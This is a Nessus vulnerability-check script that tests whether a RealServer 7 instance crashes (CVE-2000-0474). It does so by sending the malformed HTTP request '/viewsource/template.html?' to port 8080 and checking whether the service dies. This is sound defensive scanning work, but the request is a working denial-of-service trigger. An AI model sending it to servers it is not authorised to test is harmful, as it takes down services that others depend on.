#
# This script was written by John Lampe (j_lampe@bellsouth.net)
#
#
# See the Nessus Scripts License for details
#
if(description)
{
  script_id(10461);
 script_version ("$Revision$");
 script_bugtraq_id(1288);
  script_cve_id("CVE-2000-0474");
  script_name(english:"Check for RealServer DoS");
  desc["english"] = "
It is possible to crash a RealServer version 7 by sending a malformed http
request.

Solution : Upgrade to the most recent version of RealServer
Risk factor : High";

  script_description(english:desc["english"]);
  script_summary(english:"Test for DoS in RealServer 7");
  script_category(ACT_DENIAL);
  script_family(english:"Denial of Service");
  script_copyright(english:"By John Lampe....j_lampe@bellsouth.net");
  script_dependencies("find_service.nes");
  script_require_ports("Services/realserver", 7070, 8080);   #port 7070, which may be indicative of server on 8080
  exit(0);
}



#
# The script code starts here
include("http_func.inc");

port = 8080;
if(get_port_state(port)) 
{
    if(http_is_dead(port:port))exit(0);
    
    mysoc = http_open_socket(port);
    if (mysoc) { 
      mystring = http_get(item:"/viewsource/template.html?",
      			  port:port);
      send(socket:mysoc, data:mystring);
    }
    else exit(0);
    http_close_socket(mysoc);
    if(http_is_dead(port:port))security_hole(port);
}